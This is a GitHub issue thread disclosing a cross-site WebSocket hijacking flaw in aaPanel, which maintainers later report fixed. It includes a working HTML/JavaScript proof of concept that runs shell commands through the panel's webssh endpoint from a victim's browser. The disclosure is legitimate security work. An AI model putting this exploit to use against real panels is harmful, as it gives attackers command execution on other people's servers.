New issue

Jump to bottom

Security Vulnerability in aaPanel #74

Closed **ssd-disclosure** opened this issue on Jun 23, 2021 · 10 comments

ssd-disclosure commented on Jun 23, 2021

Hi,

I would like to report a security vulnerability in aaPanel

I am not sure this is the `right` place as its public and visible to all, would you like me to post the details here? or email?

kahisfz commented on Jun 23, 2021

Hi,
Please post the details.
Thanks

ssd-disclosure commented on Jun 23, 2021 Author

Affected version:

aaPanel LinuxStable 6.8.12

Affected Versions Assumed:

> =6.8.4 to current, information obtained from commit https://sourcegraph.com/github.com/aaPanel/aaPanel/-/commit/5e2cbf9a5cb249d0fb58be09707b3fd73daf286a

Video Demo

https://www.youtube.com/watch?v=CHIs4qXgsuw

Requirements

1. Knowledge of the IP/FQDN of the aaPanel
2. Victim has to visit a malicious web site with Firefox (the vuln doesn't work with Chrome)
3. Victim has to have configured `Terminal` with at least one host
4. Victim has to have been logged on to the aaPanel prior to have visited the malicious web site

PoC

Please modify the host URL in line 6 if you want to reproduce the vulnerability locally.

```
<!DOCTYPE html>
<meta charset="utf-8" />
<title>CSWH Hijacking exploit</title>
<script language="javascript" type="text/javascript">
//CHANGEME
var wsUri = "ws://192.168.15.33:8888/webssh"; //WS URL of the vulnerable app
var output;

//Auth check in https://github.com/aaPanel/aaPanel/blob/aacc0df179147bcd900dd753003e567ea1bc88ee/BTPanel/__init__.py#L233-L234

function init(){
output = document.getElementById("output");
testWebSocket();
}

function testWebSocket(){
websocket = new WebSocket(wsUri, );
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt){ //when the WS is connected, send a message the server
writeToScreen("CONNECTED");
        doSend('{}');
        doSend("cat /etc/issue;whoami;ls -la\n");
}

function onClose(evt){
writeToScreen("DISCONNECTED");
}

function onMessage(evt){ //when recieving a WS message, send it in POST to my server
        writeToScreen("RECIEVED : " + evt.data);
}

function onError(evt){
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message){ //function for sending messages via the WS
writeToScreen("SENT : " + message);
websocket.send(message);
}
```

```
function writeToScreen(message){ //function for showing errors and other info
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}

window.addEventListener("load", init, false);  //when loading the page, execute init()
// creating Websocket --> sending a message --> recieving the response and forward it to our server
</script>

<h2>WebSocket Exploit</h2>
<div id="output"></div>
```

ssd-disclosure commented on Jul 13, 2021 Author

Hi,

Any plans on addressing this security issue?

ssd-disclosure commented on Jul 22, 2021 Author

Hi,

Any plans on addressing this security vulnerability?

ssd-disclosure commented on Jul 26, 2021 Author

Any plans on addressing this security vulnerability?

aaPanel commented on Aug 6, 2021 Owner

> Any plans on addressing this security vulnerability?

Thanks for the feedback, We will fix it in the next version

Liang2580 commented on Aug 6, 2021

It is expected to be repaired next week

ITKHMER commented on Dec 10, 2021

Has this issue been fixed? Because this issue is still open

aaPanel commented on Dec 10, 2021 Owner

This vulnerability has been fixed

👍 1

aaPanel closed this as completed on Dec 10, 2021

ITKHMER commented on Dec 11, 2021

Thank you!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants